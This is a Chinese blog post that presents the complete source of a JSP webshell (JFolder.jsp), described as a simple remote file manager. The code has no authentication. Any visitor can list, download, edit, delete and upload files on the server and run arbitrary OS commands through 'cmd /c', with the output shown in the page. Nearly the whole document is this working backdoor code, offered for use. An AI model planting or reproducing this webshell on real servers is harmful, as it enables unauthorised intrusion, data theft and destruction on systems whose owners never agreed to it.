一个简单的webshell

jsp 版本的文件管理器，通过该程序可以远程管理服务器上的文件系统，您可以新建、修改、删除、下载文件和目录。对于windows系统，还提供了命令行窗口的功能，可以运行一些程序，类似与windows的cmd。

如图：

<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.io.*,java.util.*,java.net.*"%>
<%!private final static int languageNo = 0; //语言版本，0 : 中文； 1：英文
    String strThisFile = "JFolder.jsp";
    String[] authorInfo = {" <font color=red> Thanks for your support </font>"};
    String[] strFileManage = {"文 件 管 理", "File Management"};
    String[] strCommand = {"CMD 命 令", "Command Window"};
    String[] strSysProperty = {"系 统 属 性", "System Property"};
    String[] strHelp = {"帮 助", "Help"};
    String[] strParentFolder = {"上级目录", "Parent Folder"};
    String[] strCurrentFolder = {"当前目录", "Current Folder"};
    String[] strDrivers = {"驱动器", "Drivers"};
    String[] strFileName = {"文件名称", "File Name"};
    String[] strFileSize = {"文件大小", "File Size"};
    String[] strLastModified = {"最后修改", "Last Modified"};
    String[] strFileOperation = {"文件操作", "Operations"};
    String[] strFileEdit = {"修改", "Edit"};
    String[] strFileDown = {"下载", "Download"};
    String[] strFileCopy = {"复制", "Move"};
    String[] strFileDel = {"删除", "Delete"};
    String[] strExecute = {"执行", "Execute"};
    String[] strBack = {"返回", "Back"};
    String[] strFileSave = {"保存", "Save"};

    public class FileHandler {
        private String strAction = "";
        private String strFile = "";
        void FileHandler(String action, String f) {}
    }

    public static class UploadMonitor {
        static Hashtable uploadTable = new Hashtable();
        static void set(String fName, UplInfo info) {
            uploadTable.put(fName, info);
        }
        static void remove(String fName) {
            uploadTable.remove(fName);
        }
        static UplInfo getInfo(String fName) {
            UplInfo info = (UplInfo) uploadTable.get(fName);
            return info;
        }
    }

    public class UplInfo {

        public long totalSize;
        public long currSize;
        public long starttime;
        public boolean aborted;
        public UplInfo() {
            totalSize = 0l;
            currSize = 0l;
            starttime = System.currentTimeMillis();
            aborted = false;
        }
        public UplInfo(int size) {
            totalSize = size;
            currSize = 0;
            starttime = System.currentTimeMillis();
            aborted = false;
        }
        public String getUprate() {
            long time = System.currentTimeMillis() - starttime;
            if (time != 0) {
                long uprate = currSize * 1000 / time;
                return convertFileSize(uprate) + "/s";
            } else
                return "n/a";
        }
        public int getPercent() {
            if (totalSize == 0)
                return 0;
            else
                return (int) (currSize * 100 / totalSize);
        }
        public String getTimeElapsed() {
            long time = (System.currentTimeMillis() - starttime) / 1000l;
            if (time - 60l >= 0) {
                if (time % 60 >= 10)
                    return time / 60 + ":" + (time % 60) + "m";
                else
                    return time / 60 + ":0" + (time % 60) + "m";
            } else
                return time < 10 ? "0" + time + "s" : time + "s";
        }
        public String getTimeEstimated() {
            if (currSize == 0)
                return "n/a";
            long time = System.currentTimeMillis() - starttime;
            time = totalSize * time / currSize;
            time /= 1000l;
            if (time - 60l >= 0) {
                if (time % 60 >= 10)
                    return time / 60 + ":" + (time % 60) + "m";
                else
                    return time / 60 + ":0" + (time % 60) + "m";
            } else
                return time < 10 ? "0" + time + "s" : time + "s";
        }

    }

    public class FileInfo {
        public String name = null, clientFileName = null,fileContentType = null;
        private byte[] fileContents = null;
        public File file = null;
        public StringBuffer sb = new StringBuffer(100);

        public void setFileContents(byte[] aByteArray) {
            fileContents = new byte[aByteArray.length];
            System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
        }
    }

    // A Class with methods used to process a ServletInputStream
    public class HttpMultiPartParser {

        private final String lineSeparator = System.getProperty("line.separator", "\n");
        private final int ONE_MB = 1024 * 1;

        public Hashtable processData(ServletInputStream is, String boundary,
                String saveInDir, int clength) throws IllegalArgumentException,IOException {
            if (is == null)
                throw new IllegalArgumentException("InputStream");
            if (boundary == null || boundary.trim().length() < 1)
                throw new IllegalArgumentException("\"" + boundary+ "\" is an illegal boundary indicator");
            boundary = "--" + boundary;
            StringTokenizer stLine = null, stFields = null;
            FileInfo fileInfo = null;
            Hashtable dataTable = new Hashtable(5);
            String line = null, field = null, paramName = null;
            boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
            boolean isFile = false;
            if (saveFiles) { // Create the required directory (including parent dirs)
                File f = new File(saveInDir);
                f.mkdirs();
            }
            line = getLine(is);
            if (line == null || !line.startsWith(boundary))
                throw new IOException("Boundary not found; boundary = "
                        + boundary + ", line = " + line);
            while (line != null) {
                if (line == null || !line.startsWith(boundary))
                    return dataTable;
                line = getLine(is);
                if (line == null)
                    return dataTable;
                stLine = new StringTokenizer(line, ";\r\n");
                if (stLine.countTokens() < 2)
                    throw new IllegalArgumentException("Bad data in second line");
                line = stLine.nextToken().toLowerCase();
                if (line.indexOf("form-data") < 0)
                    throw new IllegalArgumentException("Bad data in second line");
                stFields = new StringTokenizer(stLine.nextToken(), "=\"");
                if (stFields.countTokens() < 2)
                    throw new IllegalArgumentException("Bad data in second line");
                fileInfo = new FileInfo();
                stFields.nextToken();
                paramName = stFields.nextToken();
                isFile = false;
                if (stLine.hasMoreTokens()) {
                    field = stLine.nextToken();
                    stFields = new StringTokenizer(field, "=\"");
                    if (stFields.countTokens() > 1) {
                        if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
                            fileInfo.name = paramName;
                            String value = stFields.nextToken();
                            if (value != null && value.trim().length() > 0) {
                                fileInfo.clientFileName = value;
                                isFile = true;
                            } else {
                                line = getLine(is); // Skip "Content-Type:" line
                                line = getLine(is); // Skip blank line
                                line = getLine(is); // Skip blank line
                                line = getLine(is); // Position to boundary line
                                continue;
                            }
                        }
                    } else if (field.toLowerCase().indexOf("filename") >= 0) {
                        line = getLine(is); // Skip "Content-Type:" line
                        line = getLine(is); // Skip blank line
                        line = getLine(is); // Skip blank line
                        line = getLine(is); // Position to boundary line
                        continue;
                    }
                }
                boolean skipBlankLine = true;
                if (isFile) {
                    line = getLine(is);
                    if (line == null)
                        return dataTable;
                    if (line.trim().length() < 1)
                        skipBlankLine = false;
                    else {
                        stLine = new StringTokenizer(line, ": ");
                        if (stLine.countTokens() < 2)
                            throw new IllegalArgumentException("Bad data in third line");
                        stLine.nextToken(); // Content-Type
                        fileInfo.fileContentType = stLine.nextToken();
                    }
                }
                if (skipBlankLine) {
                    line = getLine(is);
                    if (line == null)
                        return dataTable;
                }
                if (!isFile) {
                    line = getLine(is);
                    if (line == null)
                        return dataTable;
                    dataTable.put(paramName, line);
                    // If parameter is dir, change saveInDir to dir
                    if (paramName.equals("dir"))
                        saveInDir = line;
                    line = getLine(is);
                    continue;
                }
                try {
                    UplInfo uplInfo = new UplInfo(clength);
                    UploadMonitor.set(fileInfo.clientFileName, uplInfo);
                    OutputStream os = null;
                    String path = null;
                    if (saveFiles)
                        os = new FileOutputStream(path = getFileName(saveInDir,fileInfo.clientFileName));
                    else
                        os = new ByteArrayOutputStream(ONE_MB);
                    boolean readingContent = true;
                    byte previousLine[] = new byte[2 * ONE_MB];
                    byte temp[] = null;
                    byte currentLine[] = new byte[2 * ONE_MB];
                    int read, read3;
                    if ((read = is.readLine(previousLine, 0,previousLine.length)) == -1) {
                        line = null;
                        break;
                    }
                    while (readingContent) {
                        if ((read3 = is.readLine(currentLine, 0,currentLine.length)) == -1) {
                            line = null;
                            uplInfo.aborted = true;
                            break;
                        }
                        if (compareBoundary(boundary, currentLine)) {
                            os.write(previousLine, 0, read - 2);
                            line = new String(currentLine, 0, read3);
                            break;
                        } else {
                            os.write(previousLine, 0, read);
                            uplInfo.currSize += read;
                            temp = currentLine;
                            currentLine = previousLine;
                            previousLine = temp;
                            read = read3;
                        }//end else
                    }//end while
                    os.flush();
                    os.close();
                    if (!saveFiles) {
                        ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
                        fileInfo.setFileContents(baos.toByteArray());
                    } else
                        fileInfo.file = new File(path);
                    dataTable.put(paramName, fileInfo);
                    uplInfo.currSize = uplInfo.totalSize;
                }//end try
                catch (IOException e) {
                    throw e;
                }
            }
            return dataTable;
        }

        /**
         * Compares boundary string to byte array
         */
        private boolean compareBoundary(String boundary, byte ba[]) {
            byte b;
            if (boundary == null || ba == null)
                return false;
            for (int i = 0; i < boundary.length(); i++)
                if ((byte) boundary.charAt(i) != ba[i])
                    return false;
            return true;
        }

        /** Convenience method to read HTTP header lines */
        private synchronized String getLine(ServletInputStream sis)throws IOException {
            byte b[] = new byte[1024];
            int read = sis.readLine(b, 0, b.length), index;
            String line = null;
            if (read != -1) {
                line = new String(b, 0, read);
                if ((index = line.indexOf('\n')) >= 0)
                    line = line.substring(0, index - 1);
            }
            return line;
        }

        public String getFileName(String dir, String fileName)throws IllegalArgumentException {
            String path = null;
            if (dir == null || fileName == null)
                throw new IllegalArgumentException("dir or fileName is null");
            int index = fileName.lastIndexOf('/');
            String name = null;
            if (index >= 0)
                name = fileName.substring(index + 1);
            else
                name = fileName;
            index = name.lastIndexOf('\\');
            if (index >= 0)
                fileName = name.substring(index + 1);
            path = dir + File.separator + fileName;
            if (File.separatorChar == '/')
                return path.replace('\\', File.separatorChar);
            else
                return path.replace('/', File.separatorChar);
        }
    } //End of class HttpMultiPartParser

    String formatPath(String p) {
        StringBuffer sb = new StringBuffer();
        for (int i = 0; i < p.length(); i++) {
            if (p.charAt(i) == '\\') {
                sb.append("\\\\");
            } else {
                sb.append(p.charAt(i));
            }
        }
        return sb.toString();
    }

    /**
     * Converts some important chars (int) to the corresponding html string
     */
    static String conv2Html(int i) {
        if (i == '&')
            return "&amp;";
        else if (i == '<')
            return "&lt;";
        else if (i == '>')
            return "&gt;";
        else if (i == '"')
            return "&quot;";
        else
            return "" + (char) i;
    }

    /**
     * Converts a normal string to a html conform string
     */
    static String htmlEncode(String st) {
        StringBuffer buf = new StringBuffer();
        for (int i = 0; i < st.length(); i++) {
            buf.append(conv2Html(st.charAt(i)));
        }
        return buf.toString();
    }

    String getDrivers()
    /**
     Windows系统上取得可用的所有逻辑盘
     */
    {
        StringBuffer sb = new StringBuffer(strDrivers[languageNo] + " : ");
        File roots[] = File.listRoots();
        for (int i = 0; i < roots.length; i++) {
            sb.append(" <a href=\"javascript:doForm('','" + roots[i]+ "\\','','','1','');\">");
            sb.append(roots[i] + "</a>&nbsp;");
        }
        return sb.toString();
    }

    static String convertFileSize(long filesize) {
        //bug 5.09M 显示5.9M
        String strUnit = "Bytes";
        String strAfterComma = "";
        int intDivisor = 1;
        if (filesize >= 1024 * 1024) {
            strUnit = "MB";
            intDivisor = 1024 * 1024;
        } else if (filesize >= 1024) {
            strUnit = "KB";
            intDivisor = 1024;
        }
        if (intDivisor == 1)
            return filesize + " " + strUnit;
        strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor;
        if (strAfterComma == "")
            strAfterComma = ".0";
        return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
    }%>
<%
      request.setCharacterEncoding("gb2312");
    String tabID = request.getParameter("tabID");
    String strDir = request.getParameter("path");
    String strAction = request.getParameter("action");
    String strFile = request.getParameter("file");
    String strPath = strDir + "\\" + strFile;
    String strCmd = request.getParameter("cmd");
    StringBuffer sbEdit = new StringBuffer("");
    StringBuffer sbDown = new StringBuffer("");
    StringBuffer sbCopy = new StringBuffer("");
    StringBuffer sbSaveCopy = new StringBuffer("");
    StringBuffer sbNewFile = new StringBuffer("");

    if ((tabID == null) || tabID.equals("")) {
        tabID = "1";
    }

    if (strDir == null || strDir.length() < 1) {
        strDir = request.getRealPath("/");
    }

    if (strAction != null && strAction.equals("down")) {
        File f = new File(strPath);
        if (f.length() == 0) {
            sbDown.append("文件大小为 0 字节，就不用下了吧");
        } else {
            response.setHeader("content-type","text/html; charset=ISO-8859-1");
            response.setContentType("APPLICATION/OCTET-STREAM");
            response.setHeader("Content-Disposition","attachment; filename=\"" + f.getName() + "\"");
            FileInputStream fileInputStream = new FileInputStream(f.getAbsolutePath());
            out.clearBuffer();
            int i;
            while ((i = fileInputStream.read()) != -1) {
                out.write(i);
            }
            fileInputStream.close();
            out.close();
        }
    }

    if (strAction != null && strAction.equals("del")) {
        File f = new File(strPath);
        f.delete();
    }

    if (strAction != null && strAction.equals("edit")) {
        File f = new File(strPath);
        BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(f)));
        sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
        sbEdit.append("<input type=hidden name=action value=save >\r\n");
        sbEdit.append("<input type=hidden name=path value='" + strDir+ "' >\r\n");
        sbEdit.append("<input type=hidden name=file value='" + strFile+ "' >\r\n");
        sbEdit.append("<input type=submit name=save value=' "+ strFileSave[languageNo] + " '> ");
        sbEdit.append("<input type=button name=goback value=' "+ strBack[languageNo]+ " ' onclick='history.back(-1);'> &nbsp;" + strPath+ "\r\n");
        sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
        String line = "";
        while ((line = br.readLine()) != null) {
            sbEdit.append(htmlEncode(line) + "\r\n");
        }
        sbEdit.append("</textarea>");
        sbEdit.append("<input type=hidden name=path value=" + strDir+ ">");
        sbEdit.append("</form>");
    }

    if (strAction != null && strAction.equals("save")) {
        File f = new File(strPath);
        BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
        String strContent = request.getParameter("content");
        bw.write(strContent);
        bw.close();
    }
    if (strAction != null && strAction.equals("copy")) {
        File f = new File(strPath);
        sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
        sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
        sbCopy.append("<input type=hidden name=path value='" + strDir + "' >\r\n");
        sbCopy.append("<input type=hidden name=file value='" + strFile + "' >\r\n");
        sbCopy.append("原始文件： " + strPath + "<p>");
        sbCopy.append("目标文件： <input type=text name=file2 size=40 value='" + strDir + "'><p>");
        sbCopy.append("<input type=submit name=save value=' " + strFileCopy[languageNo] + " '> ");
        sbCopy.append("<input type=button name=goback value=' " + strBack[languageNo] + " ' onclick='history.back(-1);'> <p>&nbsp;\r\n");
        sbCopy.append("</form>");
    }
    if (strAction != null && strAction.equals("savecopy")) {
        File f = new File(strPath);
        String strDesFile = request.getParameter("file2");
        if (strDesFile == null || strDesFile.equals("")) {
            sbSaveCopy.append("<p><font color=red>目标文件错误。</font>");
        } else {
            File f_des = new File(strDesFile);
            if (f_des.isFile()) {
                sbSaveCopy.append("<p><font color=red>目标文件已存在,不能复制。</font>");
            } else {
                String strTmpFile = strDesFile;
                if (f_des.isDirectory()) {
                    if (!strDesFile.endsWith("\\")) {
                        strDesFile = strDesFile + "\\";
                    }
                    strTmpFile = strDesFile + "cqq_" + strFile;
                }

                File f_des_copy = new File(strTmpFile);
                FileInputStream in1 = new FileInputStream(f);
                FileOutputStream out1 = new FileOutputStream(f_des_copy);
                byte[] buffer = new byte[1024];
                int c;
                while ((c = in1.read(buffer)) != -1) {
                    out1.write(buffer, 0, c);
                }
                in1.close();
                out1.close();

                sbSaveCopy.append("原始文件 ：" + strPath + "<p>");
                sbSaveCopy.append("目标文件 ：" + strTmpFile + "<p>");
                sbSaveCopy.append("<font color=red>复制成功！</font>");
            }
        }
        sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=返回>");
    }
    if (strAction != null && strAction.equals("newFile")) {
        String strF = request.getParameter("fileName");
        String strType1 = request.getParameter("btnNewFile");
        String strType2 = request.getParameter("btnNewDir");
        String strType = "";
        if (strType1 == null) {
            strType = "Dir";
        } else if (strType2 == null) {
            strType = "File";
        }
        if (!strType.equals("") && !(strF == null || strF.equals(""))) {
            File f_new = new File(strF);
            if (strType.equals("File") && !f_new.createNewFile())
                sbNewFile.append(strF + " 文件创建失败");
            if (strType.equals("Dir") && !f_new.mkdirs())
                sbNewFile.append(strF + " 目录创建失败");
        } else {
            sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
        }
    }

    if ((request.getContentType() != null)&& (request.getContentType().toLowerCase().startsWith("multipart"))) {
        String tempdir = ".";
        boolean error = false;
        response.setContentType("text/html");
        sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
        HttpMultiPartParser parser = new HttpMultiPartParser();

        int bstart = request.getContentType().lastIndexOf("oundary=");
        String bound = request.getContentType().substring(bstart + 8);
        int clength = request.getContentLength();
        Hashtable ht = parser.processData(request.getInputStream(),bound, tempdir, clength);
        if (ht.get("cqqUploadFile") != null) {
            FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
            File f1 = fi.file;
            UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
            if (info != null && info.aborted) {
                f1.delete();
                request.setAttribute("error", "Upload aborted");
            } else {
                String path = (String) ht.get("path");
                if (path != null && !path.endsWith("\\"))
                    path = path + "\\";
                if (!f1.renameTo(new File(path + f1.getName()))) {
                    request.setAttribute("error","Cannot upload file.");
                    error = true;
                    f1.delete();
                }
            }
        }
    }
%>
<html>
    <head>
        <style type="text/css">
td,select,input,body {
    font-size: 9pt;
}

A {
    TEXT-DECORATION: none
}

#tablist {
    padding: 5px 0;
    margin-left: 0;
    margin-bottom: 0;
    margin-top: 0.1em;
    font: 9pt;
}

#tablist li {
    list-style: none;
    display: inline;
    margin: 0;
}

#tablist li a {
    padding: 3px 0.5em;
    margin-left: 3px;
    border: 1px solid;
    background: F6F6F6;
}

#tablist li a:link,#tablist li a:visited {
    color: navy;
}

#tablist li a.current {
    background: #EAEAFF;
}

#tabcontentcontainer {
    width: 100%;
    padding: 5px;
    border: 1px solid black;
}

.tabcontent {
    display: none;
}
</style>

<script type="text/javascript">
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]

////////Stop editting////////////////

function cascadedstyle(el, cssproperty, csspropertyNS){
    if (el.currentStyle)
        return el.currentStyle[cssproperty]
    else if (window.getComputedStyle){
        var elstyle=window.getComputedStyle(el, "")
        return elstyle.getPropertyValue(csspropertyNS)
    }
}

var previoustab=""

function expandcontent(cid, aobject){
    if (document.getElementById){
            highlighttab(aobject)
        if (previoustab!="")
            document.getElementById(previoustab).style.display="none"
            document.getElementById(cid).style.display="block"
            previoustab=cid
        if (aobject.blur)
            aobject.blur()
            return false
    }
    else
        return true
}

function highlighttab(aobject){
    if (typeof tabobjlinks=="undefined")
        collecttablinks()
    for (i=0; i<tabobjlinks.length; i++)
        tabobjlinks[i].style.backgroundColor=initTabcolor
    var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
    aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
}

function collecttablinks(){
    var tabobj=document.getElementById("tablist")
    tabobjlinks=tabobj.getElementsByTagName("A")
}

function do_onload(){
    collecttablinks()
    initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
    initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
    expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
}

if (window.addEventListener)
    window.addEventListener("load", do_onload, false)
else if (window.attachEvent)
    window.attachEvent("onload", do_onload)
else if (document.getElementById)
    window.onload=do_onload



</script>
<script language="javascript">

function doForm(action,path,file,cmd,tab,content)
{
    document.frmCqq.action.value=action;
    document.frmCqq.path.value=path;
    document.frmCqq.file.value=file;
    document.frmCqq.cmd.value=cmd;
    document.frmCqq.tabID.value=tab;
    document.frmCqq.content.value=content;
    if(action=="del")
    {
        if(confirm("确定要删除文件 "+file+" 吗？"))
        document.frmCqq.submit();
    }
    else
    {
        document.frmCqq.submit();    
    }
}
</script>
        <title>A jsp based web folder management tool</title>
        <head>
            <body>
                <form name="frmCqq" method="post" action="">
                    <input type="hidden" name="action" value="">
                    <input type="hidden" name="path" value="">
                    <input type="hidden" name="file" value="">
                    <input type="hidden" name="cmd" value="">
                    <input type="hidden" name="tabID" value="2">
                    <input type="hidden" name="content" value="">
                </form>

                <!--Top Menu Started-->
                <ul id="tablist">
                    <li>
                        <a href="http://www.cnblogs.com/hnhcc39/" class="current"
                            onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%>
                        </a>
                    </li>
                    <li>
                        <a href="new.htm" onClick="return expandcontent('menu2', this)"
                            theme="#EAEAFF"> <%=strCommand[languageNo]%> </a>
                    </li>
                    <li>
                        <a href="hot.htm" onClick="return expandcontent('menu3', this)"
                            theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a>
                    </li>
                    <li>
                        <a href="search.htm" onClick="return expandcontent('menu4', this)"
                            theme="#EAEAFF"> <%=strHelp[languageNo]%> </a>
                    </li>
                    &nbsp;
                    <%=authorInfo[languageNo]%>
                </ul>
                <!--Top Menu End-->


                <%
                    StringBuffer sbFolder = new StringBuffer("");
                    StringBuffer sbFile = new StringBuffer("");
                    try {
                        File objFile = new File(strDir);
                        File list[] = objFile.listFiles();
                        if (objFile.getAbsolutePath().length() > 3) {
                            sbFolder.append("<tr><td >&nbsp;</td><td><a href=\"javascript:doForm('','"
                            + formatPath(objFile.getParentFile().getAbsolutePath())
                            + "','','" + strCmd + "','1','');\">");
                            sbFolder.append(strParentFolder[languageNo] + "</a><br>- - - - - - - - - - - </td></tr>\r\n ");

                        }
                        for (int i = 0; i < list.length; i++) {
                            if (list[i].isDirectory()) {
                                sbFolder.append("<tr><td >&nbsp;</td><td>");
                                sbFolder.append("  <a href=\"javascript:doForm('','" 
                                + formatPath(list[i].getAbsolutePath()) + "','','" + strCmd + "','1','');\">");
                                sbFolder.append(list[i].getName() + "</a><br></td></tr> ");
                            } else {
                                String strLen = "";
                                String strDT = "";
                                long lFile = 0;
                                lFile = list[i].length();
                                strLen = convertFileSize(lFile);
                                Date dt = new Date(list[i].lastModified());
                                strDT = dt.toLocaleString();
                                sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
                                sbFile.append("" + list[i].getName());
                                sbFile.append("</td><td>");
                                sbFile.append("" + strLen);
                                sbFile.append("</td><td>");
                                sbFile.append("" + strDT);
                                sbFile.append("</td><td>");

                                sbFile.append(" &nbsp;<a href=\"javascript:doForm('edit','"
                                            + formatPath(strDir)
                                            + "','"
                                            + list[i].getName()
                                            + "','"
                                            + strCmd
                                            + "','" + tabID + "','');\">");
                                sbFile.append(strFileEdit[languageNo] + "</a> ");

                                sbFile.append(" &nbsp;<a href=\"javascript:doForm('del','"
                                                + formatPath(strDir)
                                                + "','"
                                                + list[i].getName()
                                                + "','"
                                                + strCmd
                                                + "','" + tabID + "','');\">");
                                sbFile.append(strFileDel[languageNo] + "</a> ");

                                sbFile.append("  &nbsp;<a href=\"javascript:doForm('down','"
                                                + formatPath(strDir)
                                                + "','"
                                                + list[i].getName()
                                                + "','"
                                                + strCmd
                                                + "','" + tabID + "','');\">");
                                sbFile.append(strFileDown[languageNo] + "</a> ");

                                sbFile.append("  &nbsp;<a href=\"javascript:doForm('copy','"
                                                + formatPath(strDir)
                                                + "','"
                                                + list[i].getName()
                                                + "','"
                                                + strCmd
                                                + "','" + tabID + "','');\">");
                                sbFile.append(strFileCopy[languageNo] + "</a> ");
                            }

                        }
                    } catch (Exception e) {
                        out.println("<font color=red>操作失败： " + e.toString() + "</font>");
                    }
                %>

                <DIV id="tabcontentcontainer">


                    <div id="menu3" class="tabcontent">
                        <br>
                        <br>
                        &nbsp;&nbsp; 未完成
                        <br>
                        <br>
                        &nbsp;

                    </div>

                    <div id="menu4" class="tabcontent">
                        <br>
                        <p>
                            一、功能说明
                        </p>
                        <p>
                            &nbsp;&nbsp;&nbsp; jsp 版本的文件管理器，通过该程序可以远程管理服务器上的文件系统，您可以新建、修改、
                        </p>
                        <p>
                            删除、下载文件和目录。对于windows系统，还提供了命令行窗口的功能，可以运行一些程序，类似
                        </p>
                        <p>
                            与windows的cmd。
                        </p>
                        <p>
                            &nbsp;
                        </p>
                        <p>
                            二、测试
                        </p>
                        <p>
                            &nbsp;&nbsp;&nbsp;
                            <b>请大家在使用过程中，有任何问题，意见或者建议都可以给我留言，以便使这个程序更加完善和稳定，
                                <p>
                                    留言地址为：
                                    <a href="http://www.cnblogs.com/hnhcc39/" target="_blank">http://www.cnblogs.com/hnhcc39/</a>
                            </b>
                            <p>
                                &nbsp;
                            </p>
                            <p>
                                三、更新记录
                            </p>
                            <p>
                                &nbsp;&nbsp;&nbsp; 2004.11.15&nbsp;
                                V0.9测试版发布，增加了一些基本的功能，文件编辑、复制、删除、下载、上传以及新建文件目录功能
                            </p>
                            <p>
                                &nbsp;&nbsp;&nbsp; 2004.10.27&nbsp; 暂时定为0.6版吧， 提供了目录文件浏览功能 和
                                cmd功能
                            </p>
                            <p>
                                &nbsp;&nbsp;&nbsp; 2004.09.20&nbsp;
                                第一个jsp&nbsp;程序就是这个简单的显示目录文件的小程序
                            </p>
                            <p>
                                &nbsp;
                            </p>
                            <p>
                                &nbsp;
                            </p>
                    </div>


                    <div id="menu1" class="tabcontent">
                        <%
                            out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"
                                        + strCurrentFolder[languageNo]
                                        + "： <b>"
                                        + strDir
                                        + "</b></td><td>"
                                        + getDrivers()
                                        + "</td></tr></table><br>\r\n");
                        %>
                        <table width="100%" border="1" cellspacing="0" cellpadding="5"
                            bordercolorlight="#000000" bordercolordark="#FFFFFF">

                            <tr>
                                <td width="25%" align="center" valign="top">
                                    <table width="98%" border="0" cellspacing="0" cellpadding="3">
                                        <%=sbFolder%>
                                        </tr>
                                    </table>
                                </td>
                                <td width="81%" align="left" valign="top">

                                    <%
                                        if (strAction != null && strAction.equals("edit")) {
                                                    out.println(sbEdit.toString());
                                                } else if (strAction != null && strAction.equals("copy")) {
                                                    out.println(sbCopy.toString());
                                                } else if (strAction != null && strAction.equals("down")) {
                                                    out.println(sbDown.toString());
                                                } else if (strAction != null && strAction.equals("savecopy")) {
                                                    out.println(sbSaveCopy.toString());
                                                } else if (strAction != null && strAction.equals("newFile")
                                                        && !sbNewFile.toString().equals("")) {
                                                    out.println(sbNewFile.toString());
                                                } else {
                                    %>
                                    <span id="EditBox"><table width="98%" border="1"
                                            cellspacing="1" cellpadding="4" bordercolorlight="#cccccc"
                                            bordercolordark="#FFFFFF" bgcolor="white">
                                            <tr bgcolor="#E7e7e6">
                                                <td width="26%"><%=strFileName[languageNo]%></td>
                                                <td width="19%"><%=strFileSize[languageNo]%></td>
                                                <td width="29%"><%=strLastModified[languageNo]%></td>
                                                <td width="26%"><%=strFileOperation[languageNo]%></td>
                                            </tr>
                                            <%=sbFile%>
                                            <!-- <tr align="center"> 
                <td colspan="4"><br>
                  总计文件个数：<font color="#FF0000">30</font> ，大小：<font color="#FF0000">664.9</font> 
                  KB </td>
              </tr>
             -->
                                        </table> </span>
                                    <%
                                        }
                                    %>

                                </td>
                            </tr>

                            <form name="frmMake" action="" method="post">
                                <tr>
                                    <td colspan=2 bgcolor=#FBFFC6>
                                        <input type="hidden" name="action" value="newFile">
                                        <input type="hidden" name="path" value="<%=strDir%>">
                                        <input type="hidden" name="file" value="<%=strFile%>">
                                        <input type="hidden" name="cmd" value="<%=strCmd%>">
                                        <input type="hidden" name="tabID" value="1">
                                        <input type="hidden" name="content" value="">
                                        <%
                                            if (!strDir.endsWith("\\"))strDir = strDir + "\\";
                                        %>
                                        <input type="text" name="fileName" size=36 value="<%=strDir%>">
                                        <input type="submit" name="btnNewFile" value="新建文件"
                                            onclick="frmMake.submit()">
                                        <input type="submit" name="btnNewDir" value="新建目录"
                                            onclick="frmMake.submit()">
                            </form>
                            <form name="frmUpload" enctype="multipart/form-data" action=""
                                method="post">
                                <input type="hidden" name="action" value="upload">
                                <input type="hidden" name="path" value="<%=strDir%>">
                                <input type="hidden" name="file" value="<%=strFile%>">
                                <input type="hidden" name="cmd" value="<%=strCmd%>">
                                <input type="hidden" name="tabID" value="1">
                                <input type="hidden" name="content" value="">
                                <input type="file" name="cqqUploadFile" size="36">
                                <input type="submit" name="submit" value="上传">
                                </td>
                                </tr>
                            </form>
                        </table>
                    </div>
                    <div id="menu2" class="tabcontent">

                        <%
                            String line = "";
                                    StringBuffer sbCmd = new StringBuffer("");

                                    if (strCmd != null) {
                                        try {
                                            //out.println(strCmd);
                                            Process p = Runtime.getRuntime().exec("cmd /c " + strCmd);
                                            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
                                            while ((line = br.readLine()) != null) {
                                                sbCmd.append(line + "\r\n");
                                            }
                                        } catch (Exception e) {
                                            System.out.println(e.toString());
                                        }
                                    } else {
                                        strCmd = "set";
                                    }
                        %>
                        <form name="cmd" action="" method="post">
                            &nbsp;
                            <input type="text" name="cmd" value="<%=strCmd%>" size=50>
                            <input type="hidden" name="tabID" value="2">
                            <input type=submit name=submit
                                value="<%=strExecute[languageNo]%>">
                        </form>
                        <%
                            if (sbCmd != null && sbCmd.toString().trim().equals("") == false) {
                        %>
                        &nbsp;
                        <TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
                        <br>
                        &nbsp;
                        <%
                            }
                        %>
                    </DIV>
                </div>
                <br>
                <br>
                <center>